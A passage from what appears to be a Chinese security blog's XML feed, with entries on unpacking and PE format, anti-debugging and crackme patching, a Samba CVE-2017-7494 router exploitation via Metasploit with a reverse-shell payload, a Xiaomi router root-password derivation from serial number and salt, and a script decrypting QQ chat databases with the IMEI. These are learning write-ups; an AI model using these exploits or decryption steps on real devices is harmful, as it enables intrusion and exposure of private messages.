程序的原始输入表被外壳变形后存储, IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构, 重新获得引入函数地址, 填写在IAT中。 重定位项的处理针对加壳的DLL Hook API壳在修改原程序文件的输入表后自己模仿操作系统的流程, 向输入表填充相关数据。在填充过程中, 外壳可以填充Hook API代码的地址, 从而获得程序控制权。 跳转到OEP 通用脱壳方法通常脱壳的基本步骤如下:1:寻找OEP2:转储(PS:传说中的dump)3:修复IAT(修复导入表)4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。 寻找OEP 搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个) ,看看有没有这样一个JMP跳转到原程序的代码段。 使用OllyDbg自带的功能定位OEP(SFX法)演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。 使用Patch过的OD来定位OEP(即内存映像法)正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过的OD内存访问断点仅当执行的时候才会断下来,我们可以利用这一点来定位OEP。UPX壳的解密例程会解密原程序的各个区段并将各个区段原始字节写回到原处,我们最好不要在解密区段的过程中断下来,说不定要断成千上万次才能到达OEP,这里有了这个Patch过的OD就方便多了,其内存访问断点仅当执行
</entry>
<entry >
<title > <![CDATA[PE文件格式学习]]> </title>
<url > %2F2019%2F05%2F13%2FPE-file%2F</url>
<content type= "text" > < ![CDATA[PE文件格式PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件( 如exe和dll) 都是典型的PE文件。PE文件格式其实是一种数据结构, 包含Windows操作系统加载管理可执行代码时所必要的信息, 如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。在程序被执行时, 操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源, 并分别装入内存的不同区域。PE文件格式把可执行文件分成若干个数据节( section) , 不同资源被存放在不同的节中, 一个典型的PE文件中包含的节如下: .text 由编译器产生,存放着二进制的机器代码,也是反汇编和调试的对象 .data 初始化的数据块,如宏定义、全局变量、静态变量等 .idata 可执行文件所使用的动态链接库等外来函数与文件信息 .rsrc 存放程序的资源,如图标、菜单等除此之外,还有可能有.reloc,.edata,.tls,.rdata 0x01 PE文件与虚拟内存之间的映射虚拟内存Windows的内存可以被分为两个层面: 物理内存和虚拟内存。其中, 物理内存比较复杂, 需要进入Windows内核级别ring0才能看到。通常, 在用户模式下, 我们用调试器看到的都是虚拟内存。如果我们把这看成银行, 那么就很好理解了。 进程相当于储户 内存管理器相当于银行 物理内存相当于钞票 虚拟内存相当于存款 映射关系 在漏洞挖掘中,经常需要的两种操作: 静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的, 就是所谓的 文件偏移 ,我们可能还需要知道这条指令在内存中的位置,这个位置就是虚拟内存地址(VA) 反过来,在调试时看到的某条指令的地址是 虚拟内存地址( VA) , 也就是我们需要回到PE文件中找到这条指令对应的机器码 几个重要概念 文件偏移地址(File Offset): 数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。 装载基址(Image Base):PE装入内存时的基地址。默认情况下, EXE文件在内存中对应的基地址是0x00400000,DLL文件是0x10000000。这些位置可能通过编译选项修改 虚拟内存地址(Virtual Address,VA ): PE文件中的指令装入内存后的地址。 相对虚拟地址(Relative Virtual Address, RVA):相对虚拟地址是内存地址相对于映射基址的偏移量。 虚拟内存地址,装载基址,相对虚拟内存地址三者之间的关系: VA = Image Base + RVA 文件偏移地址与相对虚拟地址: 文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构, 所以文件偏移地址和RVA有很大的一致性。( 不是全部相同) PE文件中的数据按照磁盘数据标准存放, 以0x200为基本单位进行组织。当一个数据节(stction)不足0x200字节时, 不足的地方将用0x00填充, 当一个数据节超过0x200时, 下一个0x200块将分配给这个节使用。所以PE数据节大小永远是0x200的整数倍当代码装入后, 将按照内存数据标准存放, 并以0x1000字节为基本的存储单位进行组织, 不足和超过的情况类似上面。因此, 内存中的节总是0x1000的整倍数。由于内存中数据节相对于装载基址的偏移量和文件中数据节的偏移量有上述差异, 所以进行文件偏移到内存地址之间的换算时, 还要看所转换的地址位于第几个节内: 文件偏移地址 = 虚拟内存地址(VA) - 装载基址(Image Base) - 节偏移 = RVA - 节偏移 工具LordPE DLX增强版(2017..6.08)Resource Hacker 3.4.0PE viewer 0x02 链接库与函数对于一个可执行程序,可以收集到最有
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 文件格式</tag>
<tag > PE</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[小米路由器_MiniUPnP协议]]> </title>
<url > %2F2019%2F04%2F21%2FXIAOMI-UPnP%2F</url>
<content type= "text" > < ![CDATA[概述HomePageOpenWRT与miniUPnP MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端( MiniUPnPc) 使用libnatpmp来支持NAT-PMP。MiniUPnP守护程序( MiniUPnPd) 支持OpenBSD, FreeBSD, NetBSD, DragonFly BSD( Open) Solaris和Mac OS X以及pf或ipfw( ipfirewall) 或ipf和Linux with netfilter。 MiniUPnP客户端( MiniUPnPc) 和MiniSSDPd是便携式的, 可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS( 版本3和4) 。 https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptxhttps://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdfhttps://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf UPnP IGD客户端轻量级库和UPnP IGD守护进程大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。 用于UPnP设备的Linux SDK( libupnp) 对我来说似乎太沉重了。 我想要最简单的库, 占用空间最小, 并且不依赖于其他库, 例如XML解析器或HTTP实现。 所有代码都是纯ANSI C. miniupnp客户端库在x86 PC上编译, 代码大小不到50KB。miniUPnP守护程序比任何其他IGD守护程序小得多, 因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程, 不使用任何system( ) 或exec( ) 调用, 因此保持系统资源使用率非常低。该项目分为两个主要部分: MiniUPnPc, 客户端库, 使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中, MiniUPnPc是UPnP控制点。 MiniUPnPd, 一个守护进程, 通过作为网关的linux或BSD( 甚至Solaris) 为您的网络提供这些服务。 遵循UPnP术语, MiniUPnPd是UPnP设备。开发MiniSSDPd与MiniUPnPc, MiniUPnPd和其他协作软件一起工作: 1. MiniSSDPd监听网络上的SSDP流量, 因此MiniUPnPc或其他UPnP控制点不需要执行发现过程, 并且可以更快地设置重定向; 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。由于某些原因, 直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。由于代码很小且易于理解, 因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的KTorrent UPnP插件就是一个很好的例子。 MiniUPnP客户端库的实用性只要应用程序需要侦听传入的连接, MiniUPnP客户端库的使用就很有用。例如: P2P应用程序, 活动模式的FTP客户端, IRC( 用于DCC) 或IM应用程序, 网络游戏, 任何服务器软件。 路由器的UPnP IGD功能的典型用法是使用MSN Messenger的文件传输。 MSN Messenger软件使用Windows XP的UPnP API打开传入连接的端口。 为了模仿MS软件, 最好也使用UPnP。 已经为XChat做了一个补丁, 以展示应用程序如何使用miniupnp客户端库。 传输, 一个免费的软件BitTorrent客户端正在使用miniupnpc和libnatpmp。 MiniUPnP守护进程的实用性UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏, IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道, MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。 安全UPnP实施可能会受到安全漏洞的影响。 错误执行或配置的UPnP IGD易受攻击。 安全研究员HD Moore做了很好的工作来揭示现<E7A4BA> <E78EB0>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 小米</tag>
<tag > 路由器</tag>
<tag > MiniUPnP</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[复原数据库存储以检测和跟踪安全漏洞]]> </title>
<url > %2F2019%2F04%2F15%2FCaving-db-storage%2F</url>
<content type= "text" > < ![CDATA[Carving Database Storage to Detect and Trace Security Breaches 复原数据库存储以检测和跟踪安全漏洞原文下载 MotivationDBMS(数据库管理系统) 通常用于存储和处理敏感数据, 因此, 投入了大量精力使用访问控制策略来保护DBMS。 一旦用户在DBMS中获得提升权限( 无论是合理的还是通过攻击的) , 实施的安全方案可以绕过, 因此无法再根据政策保证数据受到保护。1) 访问控制策略可能不完整, 允许用户执行他们不能执行的命令2) 用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限 部署预防措施1) 在及时发生安全漏洞时检测安全漏洞;2) 在检测到攻击时收集有关攻击的证据, 以便设计对抗措施并评估损害程度 例子Malice是政府机构的数据库管理员, 为公民提供犯罪记录。 Malice最近被判犯有欺诈罪, 并决定滥用她的特权, 并通过运行DELETE FROM Record WHERE name = ‘ Malice’ 来删除她的犯罪记录。但是, 她知道数据库操作需要定期审核, 以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作, Malice在运行DELETE操作之前停用审计日志, 然后再次激活日志。因此, 在数据库中没有她的非法操纵的日志跟踪。但是, 磁盘上的数据库存储仍将包含已删除行的证据。作者的方法检测已删除的痕迹和过期的记录版本, 并将它们与审核日志进行匹配, 以检测此类攻击, 并提供数据库操作方式的证据。作者将检测已删除的行, 因为它与审计日志中的任何操作都不对应, 我们会将其标记为篡改的潜在证据。 思路一览 提出方法使用称为DICE的现有取证工具( Wagner等, 2017) 来重建数据库存储通过匹配提取的存储条目, 报告任何无法通过操作记录解释的工件来自动检测潜在的攻击 DBDetective检查数据库存储和RAM快照, 并将它找到的内容与审计日志进行比较 然后,在不影响数据库操作的情况下,对核心数据进行分析。 确定数据库篡改的可能性, 并指出数据库存储中发现的具体不一致性。由于数据库存储的易变性, 无法保证将发现所有攻击。在对于我们评估的每个主要DBMS, 我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令: 停用审计策略并暂时挂起日志记录 更改现有审计日志(两者都在数据库日志可靠性部分中讨论)。通过将取证分析技术应用于数据库存储或缓冲区缓存,并将发现的证据与审计日志相匹配,可以: 检测DBMS审核日志中未显示的多种类型的数据库访问和操作。 将未归因的记录修改分类为模糊的INSERT, DELETE或UPDATE命令。 检测无法从审核日志中的活动派生的( 只读) SELECT查询中的缓存数据。 Reliability of database logs攻击者可以更改两种类型的日志: write-ahead logs (WAL) and audit logs (event history records) WALs以低级别记录数据库修改以支持ACID保证, 提供最近表修改的历史记录。通常无法禁用或轻松修改WAL, 并且需要读取专用工具( 例如, Oracle LogMiner或PostgreSQL pg_xlogdump) 。某些DBMS允许为特定操作禁用WAL, 例如批量加载或结构重建。因此, 可以通过此功能插入记录而不留下日志跟踪。 audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此,管理员可以根据需要禁用日志记录或修改单个日志记录。 Detecting hidden record modifications插入或修改表记录时, 数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外, 页面元数据会更新( 例如, 设置删除标记) , 并且存储记录的索引的页面会改变<E694B9>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 顶会论文</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 数据库</tag>
<tag > 复原文件</tag>
<tag > 取证</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[逆向工程与软件破解]]> </title>
<url > %2F2019%2F03%2F28%2F%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C%2F</url>
<content type= "text" > < ![CDATA[软件保护方式 功能限制 时间限制 运行时长限制 使用日期限制 使用次数限制 警告窗口 分析工具 静态分析工具 IDA W32Dasm lordPE Resource Hacker 动态分析工具 OllyDbg WinDbg 对抗分析技术 反静态分析技术 花指令 自修改代码技术 多态技术 变形技术 虚拟机保护技术 反动态分析技术 检测调试状态 检测用户态调试器 检测内核态调试器 其他方法: 父进程检测; StartupInfo 结构; 时间差; 通过Trap Flag检测 发现调试器后的处理 程序自身退出 向调试器窗口发送消息使调试器退出 使调试器窗口不可用 终止调试器进程 PE文件格式基础 加壳脱壳 反调试技术反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。 探测windows调试器 使用windows API使用Windows API函数探测调试器是否存在是最简单的反调试技术。通常, 防止使用API进行反调试的方法有在程序运行期间修改恶意代码, 使其不能调用API函数, 或修改返回值, 确保执行合适的路径, 还有挂钩这些函数。常用来探测调试器的API函数有: IsDebuggerPresent CheckRemoteDebuggerPresent NtQueryInformationProcess OutputDebuggString 手动检测数据结构程序编写者经常手动执行与这些API功能相同的操作 检查BeingDebugged属性 检测ProcessHeap属性 检测NTGlobalFlag 系统痕迹检测通常, 我们使用调试工具来分析程序, 但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹, 来确定你是否试图分析它。例如, 查找调试器引用的注册表项。同时, 程序也可以查找系统的文件和目录, 查找当前内存的痕迹, 或者查看当前进程列表, 更普遍的做法是通过FindWindows来查找调试器。 识别调试器的行为在逆向工程中, 可以使用断点或单步调试来帮助分析, 但执行这些操作时, 会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。 INT扫描调试器设置断点的基本机制是用软件中断INT 3, 机器码为0xCC, 临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。 执行代码校验和检查与INT扫描目的相同, 但仅执行机器码的CRC或MD5校验和检查。 时钟检测被调试时, 进程的运行速度大大降低, 常用指令有: rdstc QueryPerformanceCounter GetTickCount,有如下两种方式探测时钟: 记录执行一段操作前后的时间戳 记录触发一个异常前后的时间戳干扰调试器的功能本地存储(TLS)回调: TLS回调被用来在程序入口点执行之前运行代码, 这发生在程序刚被加载到调试器时使用异常: 使用SEH链可以实现异常, 程序可以使用异常来破坏或探测调试器, 调试器捕获异常后, 并不会将处理权立即返回给被调试进程。插入中断: 插入INT 3、INT 2D、ICE调试器漏洞PE头漏洞、OutputDebugString漏洞 实验一: 软件破解对象crack.exe, 28.0 KB 无保护措施:无壳、未加密、无反调试措施 用户名至少要5个字节 输入错误验证码时输出: “Bad Boy!” 爆破查找显示注册结果相关代码当输入错误验证码时, 程序会输出“Bad Boy”, 因此我们将程序拖入IDA, 以流程图显示函数内部的跳转。查找“Bad Boy”字符串, 我们可以定位到显示注册结果的相关代码: 查找注册码验证相关代码用鼠标选中程序分支点,按空格切换回汇编指令界面 可以看到, 这条指令位于PE文件的.text节, 并且IDA已经自动将地址转换为运行时的内存地址VA:004010F9 修改程序跳转 现在关闭IDA, 换用OllyDbg进行动态调试来看看程序时如何分支跳<E694AF>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 逆向</tag>
<tag > 破解</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[某厂商路由器与Samba漏洞CVE-2017-7494]]> </title>
<url > %2F2019%2F03%2F25%2FSamba-CVE%2F</url>
<content type= "text" > < ![CDATA[漏洞描述Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录, 会导致服务器加载并执行指定的库文件。具体执行条件如下: 服务器打开了文件/打印机共享端口445, 让其能够在公网上访问 共享文件拥有写入权限 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba介绍Samba是在Linux和Unix系统上实现SMB协议的一个免费软件, 由服务器及客户端程序构成。SMB( Server Messages Block, 信息服务块) 是一种在局域网上共享文件和打印机的一种通信协议, 它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。 SMB协议是客户机/服务器型协议, 客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源, 还能与全世界的电脑分享资源。 某厂商路由器的smbd版本为4.0.21, 该漏洞影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。 漏洞成因处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤, 导致可以用绝对路径调用恶意的so文件, 从而远程任意代码执行。首先看到is_known_pipename()`函数 跟进到smb_probe_module() 再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数 我们可以通过smb服务上传一个恶意的so文件, 随后通过上述过程进行调用, 执行任意代码。 漏洞复现某路由器满足条件123456netstat -apnttcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbdnmap 192.168.31.1139/tcp open netbios-ssn445/tcp open microsoft-ds 端口已开启12345678910111213141516171819202122232425262728293031323334353637383940414243444546vim /etc/samba/smb.conf deadtime = 30 domain master = yes encrypt passwords = true enable core files = no guest account = nobody guest ok = yes invalid users = local master = yes load printers = no map to guest = Bad User min receivefile size = 16384 null passwords = yes obey pam restrictions = yes passdb backend = smbpasswd preferred master = yes printable = no smb encrypt = disabled smb passwd file = /etc/samba/smbpasswd socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576 smb2 max trans = 1048576 smb2 max write = 1048576 smb2 max read = 1048576 write cache size = 262144 syslog = 2 syslog only = yes use sendfile = yes writeable = yes log level = 1 unicode = True max log size = 500 log file = /tmp/log/samba.log server role = STANDALONE[homes] comment = Home Directories browsable = no read only = no create mode = 0750[data] ***SMB_SHARE_NAME*** path = /tmp ***SMB_FOLDER*** read only = no ***具备可写权限*** guest ok = yes ***允许匿名*** create mask = 0777 directory mask = 0777 具有可写权限、目录为/tmp 攻击: 使用metasploit设置攻击参数靶机是某厂商路由器, 它的系统为mips架构, 但是这个库好像对它的支持不是很好12345678910111213141516171819202122232425show optionsModule options (exploit/linux/samba/is_known_pipename): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directoryPayload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 7 Linux MIPSLE 执行攻击123456789101112exploit[*] Started reverse TCP handler on 192.168.216.129:4444[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > Samba</tag>
<tag > 远程执行</tag>
<tag > CVE</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用itchat定时转发微信消息]]> </title>
<url > %2F2019%2F03%2F23%2Fauto-send-WX%2F</url>
<content type= "text" > < ![CDATA[我们实验室有个光荣传统, 每天早上起床叫醒我的不是闹钟, 而是群里雷打不动的安全新闻( 其实我免提醒了2333) 而这个发送新闻的人, 一代一代的传承, 我没想到竟然有一天会落在我头上, 哭了o(╥﹏╥)o为了不暴露我的起床时间, 同时能保质保量的完成任务, 我决定做个机器人帮我完成。这就是这片po文的由来啦! 大杀器itchatintroduction先来一段itchat的官方介绍吧 itchat是一个开源的微信个人号接口, 使用python调用微信从未如此简单。使用不到三十行的代码, 你就可以完成一个能够处理所有信息的微信机器人。当然, 该api的使用远不止一个机器人, 更多的功能等着你来发现, 比如这些。该接口与公众号接口itchatmp共享类似的操作方式, 学习一次掌握两个工具。如今微信已经成为了个人社交的很大一部分, 希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。 实际上, itchat是对微信网页端的爬虫, 所以, 网页端可以实现的功能都有, 那么, 我想要的定时群发微信消息, 自然不在话下! 初步尝试 安装 1pip install itchat 一个简单实例:实现给文件传输助手发送消息 123import itchatitchat.auto_login()itchat.send(' Hello, filehelper' , toUserName=' filehelper' ) 实现定时转发这个的实现需要注册msg_register,逻辑很简单, 当收到指定群里的指定消息时, 将消息转发到另一个群。12345678910111213141516171819202122232425262728293031323334353637383940import itchatfrom datetime import datetimeimport timeimport reimport threadingfrom itchat.content import TEXTfrom itchat.content import *from apscheduler.schedulers.blocking import BlockingScheduler@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)def getContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g[' NickName' ]) if g[' NickName' ] == ' 被转发的群名' : from_group = g[' UserName' ] if ' 每日安全简讯' in msg[' Content' ]: print(" get message from " + msg[' FromUserName' ]) if msg[' FromUserName' ] == from_group: g_msg = msg[' Content' ] print(' 成功获得群消息,等待转发' ) print(int(time.strftime(" %H%M%S" ))) while(1): if int(time.strftime(" %H%M%S" )) > 80000: SendMessage(g_msg,' 发送的对象群名' ) g_msg = ' ' breakdef SendMessage(context,gname): itchat.get_chatrooms(update = True) users = itchat.search_chatrooms(name=gname) userName = users[0][' UserName' ] itchat.send_msg(context,toUserName=userName) print(" \n发送时间: " + datetime.now().strftime(" %Y-%m-%d %H:%M:%S" ) + " \n" " 发送到:" + gname + " \n" + " 发送内容:" + context + " \n" ) print(" *********************************************************************************" )if __name__ == ' __main__' : itchat.auto_login(hotReload=True,enableCmdQR=2) itchat.run(blockThread=False) 添加周期防掉线据说每三十分钟发送一次消息可防止网页端微信掉线~~123456789101112def loop_send(): nowTime = datetime.now().strftime(" %Y-%m-%d %H:%M:%S" ) context = ' 现在是北京时间 :\n' + nowTime +' \n\n我们还活着' itchat.get_chatrooms(update = True) users = itchat.search_friends(name=u' chengkun' ) userName = users[0][' UserName' ] itchat.send_msg(context,toUserName=userName)if __name__ == ' __main__' : sched = BlockingScheduler() sched.add_job(loop_send,' interval' ,minutes=30) sched.start() 把程序放在服务器上我是在腾讯云有个服务器, 因为自己的电脑不可能时时刻刻开机, 所以就放在服务器上, 方法是: 1sudo nohup python -u auto_Send.py > > auto_Send.log 2> & 1 & 使
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 杂七杂八</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > itchat</tag>
<tag > 微信</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[小米固件工具mkxqimage]]> </title>
<url > %2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F</url>
<content type= "text" > <![CDATA[小米固件工具mkxqimage小米自己改了个打包解包固件的工具, 基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能, 路由系统里自带: 1234Usage:mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]] [-x file] [-I] 固件打包小米官方在打包固件时用RSA私钥计算出固件的RSA签名, 小米路由器下载固件后用RSA公钥来验证RSA签名, 有效地防止固件被篡改。 固件解包固件工具mkxqimage完成对固件的解包, 在解包前先检查Checksum是否正确, 然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名, 这两个步骤通过后, 根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。 固件更新签名校验小米路由器进行固件更新时同样会进行签名校验,文件/usr/share/xiaoqiang/public.pem是它的公钥, 用来校验签名正确与否。正因为这样, 黑客如果想在不拆机的前提下刷入已植入木马的固件, 只有两条路可走, 一是通过入侵、社工或破解得到对应的私钥, 然后对修改后的固件进行签名再刷入; 二是通过漏洞, 挖掘新的漏洞或者刷入有漏洞的旧版固件, 然后再通过漏洞利用得到root shell进而刷入任意固件。一般来讲, 第一条路是很难的, 而为了堵住第二条路, 可以通过限制降级来实现。 由此可见,在限制降级的前提下,在固件更新时进行签名校验,能有效地防止路由器被植入木马。 固件格式路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式12348 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 0020 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5 第1~ 4字节: ASCII字符串“HDR0”, 作为固件的标识; 第5~ 8字节: 4字节整型数0x0311D464, 表示固件的大小: 51500132字节; 第9~12字节: 固件的检查和; 第13~ 14字节: 0x0005, 表示固件中包含哪些部分; 第15~ 16字节: 0x0002, 表示固件格式版本号; 第17~ 20字节: 0x00000020, 表示固件第一部分在整个固件中的偏移量, 0.4.85固件的第一部分是brcm4709_nor.bin, 也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像; 第21~ 24字节: 0x00FE0020, 表示固件第二部分在整个固件中的偏移量, 0.4.85固件的第二部分是root.ext4.lzma, 也就是硬盘中128M固件的压缩包; 第33字节开始是固件的正式内容开始。 小米开启ssh工具包使用mkxqimage解包( 现在会提示秘钥不存在) 12error fopen public keyImage verify failed, not formal image 如果能解包应该可以得到脚本文件upsetting.sh 1234#!/bin/shnvram set ssh_en=1nvram set flag_init_root_pwd=1nvram commit 执行脚本文件upsetting.sh后, 将ssh_en设置为1, 同时设置了flag_init_root_pwd项。当正式启动时, /usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时, 自动修改root用户密码, 具体脚本为: 1234567flg_init_pwd=`nvram get flag_init_root_pwd`if [ "$flg_init_pwd" = "1" ]; then init_pwd=`mkxqimage -I` (echo $init_pwd; sleep 1; echo $init_pwd) | passwd root nvram unset flag_init_root_pwd nvram commitfi 初始密码是mkxqimage -I的结果, 实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上, 12位数字, 如: 561000088888 初始密码计算算法为: substr(md5(SN+"A2E371B0-B34B-48A5-8C40-A7133F3B5D88"), 0, 8) A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt]]> </content>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 小米</tag>
<tag > 文件格式</tag>
<tag > SSH</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[QQ数据库的加密与解密]]> </title>
<url > %2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F</url>
<content type= "text" > <![CDATA[qq数据库采用简单加密——异或加密数据获取: DENGTA_META.xml—IMEI:867179032952446databases/2685371834.db——数据库文件 解密方式: 明文msg_t 密文msg_Data key: IMEImsg_t = msg_Data[i]^IMEI[i%15] 实验: 123456789101112131415161718192021222324import sqlite3IMEI = '867179032952446'conn = sqlite3.connect('2685371834.db')c = conn.cursor()def _decrypt(foo): substr = '' #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr#rem = c.execute("SELECT uin, remark, name FROM Friends")Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")for msg in Msg: uid = _decrypt(msg[1]) print("\n"+uid+":") try: msgData = _decrypt(msg[0]).decode('utf-8') print(msgData) except: pass 结果]]> </content>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 加密解密</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 密码</tag>
<tag > QQ</tag>
<tag > 数据库</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[wifi半双工侧信道攻击学习笔记]]> </title>
